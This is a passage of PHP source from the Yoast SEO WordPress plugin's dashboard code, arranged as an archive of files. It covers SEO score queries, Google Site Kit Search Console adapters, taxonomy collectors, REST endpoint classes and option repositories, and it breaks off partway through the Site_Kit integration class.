	 * @param Content_Type                 $content_type       The content type.
	 * @param int|null                     $term_id            The ID of the term we're filtering for.
	 * @param bool|null                    $is_troubleshooting Whether we're in troubleshooting mode.
	 *
	 * @return array<string, object|bool|float> The SEO score results for a content type.
	 *
	 * @throws Score_Results_Not_Found_Exception When the query of getting score results fails.
	 */
	public function get_score_results( array $seo_score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ): array {
		global $wpdb;
		$results = [];

		$content_type_name = $content_type->get_name();
		$select            = $this->build_select( $seo_score_groups, $is_troubleshooting );

		$replacements = \array_merge(
			\array_values( $select['replacements'] ),
			[
				Model::get_table_name( 'Indexable' ),
				$content_type_name,
			]
		);

		if ( $term_id === null ) {
			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
			//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
			$query = $wpdb->prepare(
				"
				SELECT {$select['fields']}
				FROM %i AS I
				WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
					AND I.object_type = 'post'
					AND I.object_sub_type = %s
					AND ( I.is_robots_noindex IS NULL OR I.is_robots_noindex <> 1 )",
				$replacements
			);
			//phpcs:enable
		}
		else {
			$replacements[] = $wpdb->term_relationships;
			$replacements[] = $term_id;

			//phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements.
			//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders.
			$query = $wpdb->prepare(
				"
				SELECT {$select['fields']}
				FROM %i AS I
				WHERE ( I.post_status = 'publish' OR I.post_status IS NULL )
					AND I.object_type IN ('post')
					AND I.object_sub_type = %s
					AND ( I.is_robots_noindex IS NULL OR I.is_robots_noindex <> 1 )
					AND I.object_id IN (
						SELECT object_id
						FROM %i
						WHERE term_taxonomy_id = %d
				)",
				$replacements
			);
			//phpcs:enable
		}

		$start_time = \microtime( true );

		//phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- $query is prepared above.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		//phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		$current_scores = $wpdb->get_row( $query );
		//phpcs:enable

		if ( $current_scores === null ) {
			throw new Score_Results_Not_Found_Exception();
		}

		$end_time = \microtime( true );

		$results['scores']     = $current_scores;
		$results['query_time'] = ( $end_time - $start_time );
		return $results;
	}

	/**
	 * Builds the select statement for the SEO scores query.
	 *
	 * @param SEO_Score_Groups_Interface[] $seo_score_groups   All SEO score groups.
	 * @param bool|null                    $is_troubleshooting Whether we're in troubleshooting mode.
	 *
	 * @return array<string, string> The select statement for the SEO scores query.
	 */
	private function build_select( array $seo_score_groups, ?bool $is_troubleshooting ): array {
		$select_fields       = [];
		$select_replacements = [];

		// When we don't troubleshoot, we're interested in the amount of posts in a group, when we troubleshoot we want to gather the actual IDs.
		$select_operation = ( $is_troubleshooting === true ) ? 'GROUP_CONCAT' : 'COUNT';
		$selected_info    = ( $is_troubleshooting === true ) ? 'I.object_id' : '1';

		foreach ( $seo_score_groups as $seo_score_group ) {
			$min  = $seo_score_group->get_min_score();
			$max  = $seo_score_group->get_max_score();
			$name = $seo_score_group->get_name();

			if ( $min === null || $max === null ) {
				$select_fields[]       = "{$select_operation}(CASE WHEN I.primary_focus_keyword_score = 0 OR I.primary_focus_keyword_score IS NULL THEN {$selected_info} END) AS %i";
				$select_replacements[] = $name;
			}
			else {
				$select_fields[]       = "{$select_operation}(CASE WHEN I.primary_focus_keyword_score >= %d AND I.primary_focus_keyword_score <= %d THEN {$selected_info} END) AS %i";
				$select_replacements[] = $min;
				$select_replacements[] = $max;
				$select_replacements[] = $name;
			}
		}

		$select_fields = \implode( ', ', $select_fields );

		return [
			'fields'       => $select_fields,
			'replacements' => $select_replacements,
		];
	}
}
dashboard/infrastructure/search-console/search-console-parameters.php000066600000001463152204306270022250 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Search_Console;

use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Parameters;

/**
 * Domain object to add search console specific data to the parameters.
 */
class Search_Console_Parameters extends Parameters {

	/**
	 * The search dimensions to query.
	 *
	 * @var string[]
	 */
	private $dimensions;

	/**
	 * Sets the dimension parameter.
	 *
	 * @param array<string> $dimensions The dimensions.
	 *
	 * @return void
	 */
	public function set_dimensions( array $dimensions ): void {
		$this->dimensions = $dimensions;
	}

	/**
	 * Getter for the dimensions.
	 *
	 * @return string[]
	 */
	public function get_dimensions(): array {
		return $this->dimensions;
	}
}
dashboard/infrastructure/search-console/site-kit-search-console-adapter.php000066600000015665152204306270023265 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Search_Console;

use Google\Site_Kit_Dependencies\Google\Service\SearchConsole\ApiDataRow;
use WP_REST_Response;
use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Data_Container;
use Yoast\WP\SEO\Dashboard\Domain\Search_Console\Failed_Request_Exception;
use Yoast\WP\SEO\Dashboard\Domain\Search_Console\Unexpected_Response_Exception;
use Yoast\WP\SEO\Dashboard\Domain\Search_Rankings\Comparison_Search_Ranking_Data;
use Yoast\WP\SEO\Dashboard\Domain\Search_Rankings\Search_Ranking_Data;

/**
 * The site API adapter to make calls to the Search Console API, via the Site_Kit plugin.
 */
class Site_Kit_Search_Console_Adapter {

	/**
	 * Holds the api call class.
	 *
	 * @var Site_Kit_Search_Console_Api_Call $site_kit_search_console_api_call
	 */
	private $site_kit_search_console_api_call;

	/**
	 * The constructor.
	 *
	 * @param Site_Kit_Search_Console_Api_Call $site_kit_search_console_api_call The api call class.
	 */
	public function __construct( Site_Kit_Search_Console_Api_Call $site_kit_search_console_api_call ) {
		$this->site_kit_search_console_api_call = $site_kit_search_console_api_call;
	}

	/**
	 * The wrapper method to do a Site Kit API request for Search Console.
	 *
	 * @param Search_Console_Parameters $parameters The parameters.
	 *
	 * @throws Failed_Request_Exception      When the request responds with an error from Site Kit.
	 * @throws Unexpected_Response_Exception When the request responds with an unexpected format.
	 * @return Data_Container The Site Kit API response.
	 */
	public function get_data( Search_Console_Parameters $parameters ): Data_Container {
		$api_parameters = $this->build_parameters( $parameters );

		$response = $this->site_kit_search_console_api_call->do_request( $api_parameters );

		$this->validate_response( $response );

		return $this->parse_response( $response->get_data() );
	}

	/**
	 * The wrapper method to do a comparison Site Kit API request for Search Console.
	 *
	 * @param Search_Console_Parameters $parameters The parameters.
	 *
	 * @throws Failed_Request_Exception      When the request responds with an error from Site Kit.
	 * @throws Unexpected_Response_Exception When the request responds with an unexpected format.
	 * @return Data_Container The Site Kit API response.
	 */
	public function get_comparison_data( Search_Console_Parameters $parameters ): Data_Container {
		$api_parameters = $this->build_parameters( $parameters );

		// Since we're doing a comparison request, we need to increase the date range to the start of the previous period. We'll later split the data into two periods.
		$api_parameters['startDate'] = $parameters->get_compare_start_date();

		$response = $this->site_kit_search_console_api_call->do_request( $api_parameters );

		$this->validate_response( $response );

		return $this->parse_comparison_response( $response->get_data(), $parameters->get_compare_end_date() );
	}

	/**
	 * Builds the parameters to be used in the Site Kit API request.
	 *
	 * @param Search_Console_Parameters $parameters The parameters.
	 *
	 * @return array<string, array<string, string>> The Site Kit API parameters.
	 */
	private function build_parameters( Search_Console_Parameters $parameters ): array {
		$api_parameters = [
			'startDate'  => $parameters->get_start_date(),
			'endDate'    => $parameters->get_end_date(),
			'dimensions' => $parameters->get_dimensions(),
		];

		if ( $parameters->get_limit() !== 0 ) {
			$api_parameters['limit'] = $parameters->get_limit();
		}

		return $api_parameters;
	}

	/**
	 * Parses a response for a comparison Site Kit API request for Search Analytics.
	 *
	 * @param ApiDataRow[] $response         The response to parse.
	 * @param string       $compare_end_date The compare end date.
	 *
	 * @throws Unexpected_Response_Exception When the comparison request responds with an unexpected format.
	 * @return Data_Container The parsed comparison Site Kit API response.
	 */
	private function parse_comparison_response( array $response, ?string $compare_end_date ): Data_Container {
		$data_container                 = new Data_Container();
		$comparison_search_ranking_data = new Comparison_Search_Ranking_Data();

		foreach ( $response as $ranking_date ) {

			if ( ! \is_a( $ranking_date, ApiDataRow::class ) ) {
				throw new Unexpected_Response_Exception();
			}

			$ranking_data = new Search_Ranking_Data( $ranking_date->getClicks(), $ranking_date->getCtr(), $ranking_date->getImpressions(), $ranking_date->getPosition(), $ranking_date->getKeys()[0] );

			// Now split the data into two periods.
			if ( $ranking_date->getKeys()[0] <= $compare_end_date ) {
				$comparison_search_ranking_data->add_previous_traffic_data( $ranking_data );
			}
			else {
				$comparison_search_ranking_data->add_current_traffic_data( $ranking_data );
			}
		}

		$data_container->add_data( $comparison_search_ranking_data );

		return $data_container;
	}

	/**
	 * Parses a response for a Site Kit API request for Search Analytics.
	 *
	 * @param ApiDataRow[] $response The response to parse.
	 *
	 * @throws Unexpected_Response_Exception When the request responds with an unexpected format.
	 * @return Data_Container The parsed Site Kit API response.
	 */
	private function parse_response( array $response ): Data_Container {
		$search_ranking_data_container = new Data_Container();

		foreach ( $response as $ranking ) {

			if ( ! \is_a( $ranking, ApiDataRow::class ) ) {
				throw new Unexpected_Response_Exception();
			}

			/**
			 * Filter: 'wpseo_transform_dashboard_subject_for_testing' - Allows overriding subjects like URLs for the dashboard, to facilitate testing in local environments.
			 *
			 * @param string $url The subject to be transformed.
			 *
			 * @internal
			 */
			$subject = \apply_filters( 'wpseo_transform_dashboard_subject_for_testing', $ranking->getKeys()[0] );

			$search_ranking_data_container->add_data( new Search_Ranking_Data( $ranking->getClicks(), $ranking->getCtr(), $ranking->getImpressions(), $ranking->getPosition(), $subject ) );
		}

		return $search_ranking_data_container;
	}

	/**
	 * Validates the response coming from Search Console.
	 *
	 * @param WP_REST_Response $response The response we want to validate.
	 *
	 * @return void.
	 *
	 * @throws Failed_Request_Exception      When the request responds with an error from Site Kit.
	 * @throws Unexpected_Response_Exception When the request responds with an unexpected format.
	 */
	private function validate_response( WP_REST_Response $response ): void {
		if ( $response->is_error() ) {
			$error_data        = $response->as_error()->get_error_data();
			$error_status_code = ( $error_data['status'] ?? 500 );
			throw new Failed_Request_Exception(
				\wp_kses_post(
					$response->as_error()
						->get_error_message()
				),
				(int) $error_status_code
			);
		}

		if ( ! \is_array( $response->get_data() ) ) {
			throw new Unexpected_Response_Exception();
		}
	}
}
dashboard/infrastructure/search-console/site-kit-search-console-api-call.php000066600000002023152204306270023307 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Search_Console;

use WP_REST_Request;
use WP_REST_Response;

/**
 * Class that hold the code to do the REST call to the Site Kit api.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Site_Kit_Search_Console_Api_Call {

	/**
	 * The search analytics API route path.
	 */
	private const SEARCH_CONSOLE_DATA_SEARCH_ANALYTICS_ROUTE = '/google-site-kit/v1/modules/search-console/data/searchanalytics';

	/**
	 * Runs the internal REST api call.
	 *
	 * @param array<string, array<string, string>> $api_parameters The api parameters.
	 *
	 * @return WP_REST_Response
	 */
	public function do_request( array $api_parameters ): WP_REST_Response {
		$request = new WP_REST_Request( 'GET', self::SEARCH_CONSOLE_DATA_SEARCH_ANALYTICS_ROUTE );
		$request->set_query_params( $api_parameters );
		return \rest_do_request( $request );
	}
}
dashboard/infrastructure/taxonomies/taxonomy-validator.php000066600000001460152204306270020321 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies;

use WP_Taxonomy;

/**
 * Class that validates taxonomies.
 */
class Taxonomy_Validator {

	/**
	 * Returns whether the taxonomy in question is valid and associated with a given content type.
	 *
	 * @param WP_Taxonomy|false|null $taxonomy     The taxonomy to check.
	 * @param string                 $content_type The name of the content type to check.
	 *
	 * @return bool Whether the taxonomy in question is valid.
	 */
	public function is_valid_taxonomy( $taxonomy, string $content_type ): bool {
		return \is_a( $taxonomy, 'WP_Taxonomy' )
			&& $taxonomy->public
			&& $taxonomy->show_in_rest
			&& \in_array( $taxonomy->name, \get_object_taxonomies( $content_type ), true );
	}
}
dashboard/infrastructure/taxonomies/taxonomies-collector.php000066600000006341152204306270020635 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies;

use WP_Taxonomy;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;

/**
 * Class that collects taxonomies and relevant information.
 */
class Taxonomies_Collector {

	/**
	 * The taxonomy validator.
	 *
	 * @var Taxonomy_Validator
	 */
	private $taxonomy_validator;

	/**
	 * The constructor.
	 *
	 * @param Taxonomy_Validator $taxonomy_validator The taxonomy validator.
	 */
	public function __construct( Taxonomy_Validator $taxonomy_validator ) {
		$this->taxonomy_validator = $taxonomy_validator;
	}

	/**
	 * Returns a custom pair of taxonomy/content type, that's been given by users via hooks.
	 *
	 * @param string $content_type The content type we're hooking for.
	 *
	 * @return Taxonomy|null The hooked filtering taxonomy.
	 */
	public function get_custom_filtering_taxonomy( string $content_type ) {
		/**
		 * Filter: 'wpseo_{$content_type}_filtering_taxonomy' - Allows overriding which taxonomy filters the content type.
		 *
		 * @internal
		 *
		 * @param string $filtering_taxonomy The taxonomy that filters the content type.
		 */
		$filtering_taxonomy = \apply_filters( "wpseo_{$content_type}_filtering_taxonomy", '' );
		if ( $filtering_taxonomy !== '' ) {
			$taxonomy = $this->get_taxonomy( $filtering_taxonomy, $content_type );

			if ( $taxonomy ) {
				return $taxonomy;
			}

			\_doing_it_wrong(
				'Filter: \'wpseo_{$content_type}_filtering_taxonomy\'',
				'The `wpseo_{$content_type}_filtering_taxonomy` filter should return a public taxonomy, available in REST API, that is associated with that content type.',
				'YoastSEO v24.1'
			);
		}

		return null;
	}

	/**
	 * Returns the fallback, WP-native category taxonomy, if it's associated with the specific content type.
	 *
	 * @param string $content_type The content type.
	 *
	 * @return Taxonomy|null The taxonomy object for the category taxonomy.
	 */
	public function get_fallback_taxonomy( string $content_type ): ?Taxonomy {
		return $this->get_taxonomy( 'category', $content_type );
	}

	/**
	 * Returns the taxonomy object that filters a specific content type.
	 *
	 * @param string $taxonomy_name The name of the taxonomy we're going to build the object for.
	 * @param string $content_type  The content type that the taxonomy object is filtering.
	 *
	 * @return Taxonomy|null The taxonomy object.
	 */
	public function get_taxonomy( string $taxonomy_name, string $content_type ): ?Taxonomy {
		$taxonomy = \get_taxonomy( $taxonomy_name );

		if ( $this->taxonomy_validator->is_valid_taxonomy( $taxonomy, $content_type ) ) {
			return new Taxonomy( $taxonomy->name, $taxonomy->label, $this->get_taxonomy_rest_url( $taxonomy ) );
		}

		return null;
	}

	/**
	 * Builds the REST API URL for the taxonomy.
	 *
	 * @param WP_Taxonomy $taxonomy The taxonomy we want to build the REST API URL for.
	 *
	 * @return string The REST API URL for the taxonomy.
	 */
	protected function get_taxonomy_rest_url( WP_Taxonomy $taxonomy ): string {
		$rest_base = ( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

		$rest_namespace = ( $taxonomy->rest_namespace ) ? $taxonomy->rest_namespace : 'wp/v2';

		return \rest_url( "{$rest_namespace}/{$rest_base}" );
	}
}
dashboard/infrastructure/indexables/top-page-indexable-collector.php000066600000007126152204306270022046 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Indexables;

use Yoast\WP\SEO\Dashboard\Application\Score_Groups\SEO_Score_Groups\SEO_Score_Groups_Repository;
use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Data_Container;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\No_SEO_Score_Group;
use Yoast\WP\SEO\Dashboard\Domain\Search_Rankings\Top_Page_Data;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * The indexable collector that gets SEO scores from the indexables of top pages.
 */
class Top_Page_Indexable_Collector {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $indexable_repository;

	/**
	 * The SEO score groups repository.
	 *
	 * @var SEO_Score_Groups_Repository
	 */
	private $seo_score_groups_repository;

	/**
	 * The constructor.
	 *
	 * @param Indexable_Repository        $indexable_repository        The indexable repository.
	 * @param SEO_Score_Groups_Repository $seo_score_groups_repository The SEO score groups repository.
	 */
	public function __construct(
		Indexable_Repository $indexable_repository,
		SEO_Score_Groups_Repository $seo_score_groups_repository
	) {
		$this->indexable_repository        = $indexable_repository;
		$this->seo_score_groups_repository = $seo_score_groups_repository;
	}

	/**
	 * Gets full data for top pages.
	 *
	 * @param Data_Container $top_pages The top pages.
	 *
	 * @return Data_Container Data about SEO scores of top pages.
	 */
	public function get_data( Data_Container $top_pages ): Data_Container {
		$top_page_data_container = new Data_Container();

		foreach ( $top_pages->get_data() as $top_page ) {
			$url = $top_page->get_subject();

			$indexable = $this->get_top_page_indexable( $url );

			if ( $indexable instanceof Indexable ) {
				$seo_score_group = $this->seo_score_groups_repository->get_seo_score_group( $indexable->primary_focus_keyword_score );
				$edit_link       = $this->get_top_page_edit_link( $indexable );

				$top_page_data_container->add_data( new Top_Page_Data( $top_page, $seo_score_group, $edit_link ) );

				continue;
			}

			$seo_score_group = new No_SEO_Score_Group();
			$top_page_data_container->add_data( new Top_Page_Data( $top_page, $seo_score_group ) );
		}

		return $top_page_data_container;
	}

	/**
	 * Gets indexable for a top page URL.
	 *
	 * @param string $url The URL of the top page.
	 *
	 * @return bool|Indexable The indexable of the top page URL or false if there is none.
	 */
	protected function get_top_page_indexable( string $url ) {
		// First check if the URL is the static homepage.
		if ( \trailingslashit( $url ) === \trailingslashit( \get_home_url() ) && \get_option( 'show_on_front' ) === 'page' ) {
			return $this->indexable_repository->find_by_id_and_type( \get_option( 'page_on_front' ), 'post', false );
		}

		return $this->indexable_repository->find_by_permalink( $url );
	}

	/**
	 * Gets edit links from a top page's indexable.
	 *
	 * @param Indexable $indexable The top page's indexable.
	 *
	 * @return string|null The edit link for the top page.
	 */
	protected function get_top_page_edit_link( Indexable $indexable ): ?string {
		if ( $indexable->object_type === 'post' && \current_user_can( 'edit_post', $indexable->object_id ) ) {
			return \get_edit_post_link( $indexable->object_id, '&' );
		}

		if ( $indexable->object_type === 'term' && \current_user_can( 'edit_term', $indexable->object_id ) ) {
			return \get_edit_term_link( $indexable->object_id );
		}

		return null;
	}
}
dashboard/infrastructure/tracking/setup-steps-tracking-repository.php000066600000003112152204306270022401 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Tracking;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Stores and retrieves data about Site Kit usage.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Setup_Steps_Tracking_Repository implements Setup_Steps_Tracking_Repository_Interface {

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Constructs the class.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Sets an option inside the Site Kit usage options array.
	 *
	 * @param string $element_name  The name of the option to set.
	 * @param string $element_value The value of the option to set.
	 *
	 * @return bool False when the update failed, true when the update succeeded.
	 */
	public function set_setup_steps_tracking_element( string $element_name, string $element_value ): bool {
		return $this->options_helper->set( 'site_kit_tracking_' . $element_name, $element_value );
	}

	/**
	 * Gets an option inside the Site Kit usage options array.
	 *
	 * @param string $element_name The name of the option to get.
	 *
	 * @return string The value if present, empty string if not.
	 */
	public function get_setup_steps_tracking_element( string $element_name ): string {
		return $this->options_helper->get( 'site_kit_tracking_' . $element_name, '' );
	}
}
dashboard/infrastructure/endpoints/setup-steps-tracking-endpoint.php000066600000002130152204306270022202 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints;

use Exception;
use Yoast\WP\SEO\Dashboard\Domain\Endpoint\Endpoint_Interface;
use Yoast\WP\SEO\Dashboard\User_Interface\Tracking\Setup_Steps_Tracking_Route;

/**
 * Represents the setup steps tracking endpoint.
 */
class Setup_Steps_Tracking_Endpoint implements Endpoint_Interface {

	/**
	 * Gets the name.
	 *
	 * @return string
	 */
	public function get_name(): string {
		return 'setupStepsTracking';
	}

	/**
	 * Gets the namespace.
	 *
	 * @return string
	 */
	public function get_namespace(): string {
		return Setup_Steps_Tracking_Route::ROUTE_NAMESPACE;
	}

	/**
	 * Gets the route.
	 *
	 * @throws Exception If the route prefix is not overwritten this throws.
	 * @return string
	 */
	public function get_route(): string {
		return Setup_Steps_Tracking_Route::ROUTE_PREFIX;
	}

	/**
	 * Gets the URL.
	 *
	 * @return string
	 */
	public function get_url(): string {
		return \rest_url( $this->get_namespace() . $this->get_route() );
	}
}
dashboard/infrastructure/endpoints/readability-scores-endpoint.php000066600000002232152204306270021676 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints;

use Exception;
use Yoast\WP\SEO\Dashboard\Domain\Endpoint\Endpoint_Interface;
use Yoast\WP\SEO\Dashboard\User_Interface\Scores\Abstract_Scores_Route;
use Yoast\WP\SEO\Dashboard\User_Interface\Scores\Readability_Scores_Route;

/**
 * Represents the readability scores endpoint.
 */
class Readability_Scores_Endpoint implements Endpoint_Interface {

	/**
	 * Gets the name.
	 *
	 * @return string
	 */
	public function get_name(): string {
		return 'readabilityScores';
	}

	/**
	 * Gets the namespace.
	 *
	 * @return string
	 */
	public function get_namespace(): string {
		return Abstract_Scores_Route::ROUTE_NAMESPACE;
	}

	/**
	 * Gets the route.
	 *
	 * @return string
	 *
	 * @throws Exception If the route prefix is not overwritten this throws.
	 */
	public function get_route(): string {
		return Readability_Scores_Route::get_route_prefix();
	}

	/**
	 * Gets the URL.
	 *
	 * @return string
	 */
	public function get_url(): string {
		return \rest_url( $this->get_namespace() . $this->get_route() );
	}
}
dashboard/infrastructure/endpoints/seo-scores-endpoint.php000066600000002162152204306270020175 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Endpoints;

use Exception;
use Yoast\WP\SEO\Dashboard\Domain\Endpoint\Endpoint_Interface;
use Yoast\WP\SEO\Dashboard\User_Interface\Scores\Abstract_Scores_Route;
use Yoast\WP\SEO\Dashboard\User_Interface\Scores\SEO_Scores_Route;

/**
 * Represents the SEO scores endpoint.
 */
class SEO_Scores_Endpoint implements Endpoint_Interface {

	/**
	 * Gets the name.
	 *
	 * @return string
	 */
	public function get_name(): string {
		return 'seoScores';
	}

	/**
	 * Gets the namespace.
	 *
	 * @return string
	 */
	public function get_namespace(): string {
		return Abstract_Scores_Route::ROUTE_NAMESPACE;
	}

	/**
	 * Gets the route.
	 *
	 * @return string
	 *
	 * @throws Exception If the route prefix is not overwritten this throws.
	 */
	public function get_route(): string {
		return SEO_Scores_Route::get_route_prefix();
	}

	/**
	 * Gets the URL.
	 *
	 * @return string
	 */
	public function get_url(): string {
		return \rest_url( $this->get_namespace() . $this->get_route() );
	}
}
dashboard/infrastructure/configuration/site-kit-consent-repository.php000066600000002457152204306270022565 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Configuration;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Stores and retrieves the Site Kit consent status.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Site_Kit_Consent_Repository implements Site_Kit_Consent_Repository_Interface {

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Constructs the class.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Sets the Site Kit consent value.
	 *
	 * @param bool $consent The consent status.
	 *
	 * @return bool False when the update failed, true when the update succeeded.
	 */
	public function set_site_kit_consent( bool $consent ): bool {
		return $this->options_helper->set( 'site_kit_connected', $consent );
	}

	/**
	 * Checks if consent has ben given for Site Kit.
	 * *
	 *
	 * @return bool True when consent has been given, false when it is not.
	 */
	public function is_consent_granted(): bool {
		return $this->options_helper->get( 'site_kit_connected', false );
	}
}
dashboard/infrastructure/configuration/permanently-dismissed-site-kit-configuration-repository.php000066600000003011152204306270030264 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Configuration;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Stores and retrieves whether the Site Kit configuration is permanently dismissed.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Permanently_Dismissed_Site_Kit_Configuration_Repository implements Permanently_Dismissed_Site_Kit_Configuration_Repository_Interface {

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Constructs the class.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Sets the Site Kit dismissal status.
	 *
	 * @param bool $is_dismissed The dismissal status.
	 *
	 * @return bool False when the update failed, true when the update succeeded.
	 */
	public function set_site_kit_configuration_dismissal( bool $is_dismissed ): bool {
		return $this->options_helper->set( 'site_kit_configuration_permanently_dismissed', $is_dismissed );
	}

	/**
	 * Checks if the Site Kit configuration is dismissed permanently.
	 * *
	 *
	 * @return bool True when the configuration is dismissed, false when it is not.
	 */
	public function is_site_kit_configuration_dismissed(): bool {
		return $this->options_helper->get( 'site_kit_configuration_permanently_dismissed', false );
	}
}
infrastructure/configuration/permanently-dismissed-site-kit-configuration-repository-interface.php000066600000001635152204306270032155 0ustar00dashboard<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Configuration;

/**
 * Interface for the Permanently Dismissed Site Kit configuration Repository.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
interface Permanently_Dismissed_Site_Kit_Configuration_Repository_Interface {

	/**
	 * Sets the Site Kit configuration dismissal status.
	 *
	 * @param bool $is_dismissed The dismissal status.
	 *
	 * @return bool False when the update failed, true when the update succeeded.
	 */
	public function set_site_kit_configuration_dismissal( bool $is_dismissed ): bool;

	/**
	 * Checks if the Site Kit configuration is dismissed permanently.
	 * *
	 *
	 * @return bool True when the configuration is dismissed, false when it is not.
	 */
	public function is_site_kit_configuration_dismissed(): bool;
}
dashboard/infrastructure/integrations/site-kit.php000066600000026342152204306270016537 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Infrastructure\Integrations;

use Google\Site_Kit\Core\REST_API\REST_Routes;
use Yoast\WP\SEO\Conditionals\Google_Site_Kit_Feature_Conditional;
use Yoast\WP\SEO\Dashboard\Infrastructure\Configuration\Permanently_Dismissed_Site_Kit_Configuration_Repository_Interface as Configuration_Repository;
use Yoast\WP\SEO\Dashboard\Infrastructure\Configuration\Site_Kit_Consent_Repository_Interface;
use Yoast\WP\SEO\Dashboard\Infrastructure\Connection\Site_Kit_Is_Connected_Call;
use Yoast\WP\SEO\Dashboard\User_Interface\Setup\Setup_Url_Interceptor;

/**
 * Describes if the Site kit integration is enabled and configured.
 */
class Site_Kit {

	private const SITE_KIT_FILE = 'google-site-kit/google-site-kit.php';

	/**
	 * The Site Kit feature conditional.
	 *
	 * @var Google_Site_Kit_Feature_Conditional
	 */
	protected $site_kit_feature_conditional;

	/**
	 * The Site Kit consent repository.
	 *
	 * @var Site_Kit_Consent_Repository_Interface
	 */
	private $site_kit_consent_repository;

	/**
	 * The Site Kit consent repository.
	 *
	 * @var Configuration_Repository
	 */
	private $permanently_dismissed_site_kit_configuration_repository;

	/**
	 * The call wrapper.
	 *
	 * @var Site_Kit_Is_Connected_Call $site_kit_is_connected_call
	 */
	private $site_kit_is_connected_call;

	/**
	 * The search console module data.
	 *
	 * @var array<string, bool> $search_console_module
	 */
	private $search_console_module = [
		'can_view' => null,
	];

	/**
	 * The analytics module data.
	 *
	 * @var array<string, bool> $ga_module
	 */
	private $ga_module = [
		'can_view'  => null,
		'connected' => null,
	];

	/**
	 * The constructor.
	 *
	 * @param Site_Kit_Consent_Repository_Interface $site_kit_consent_repository  The Site Kit consent repository.
	 * @param Configuration_Repository              $configuration_repository     The Site Kit permanently dismissed
	 *                                                                            configuration repository.
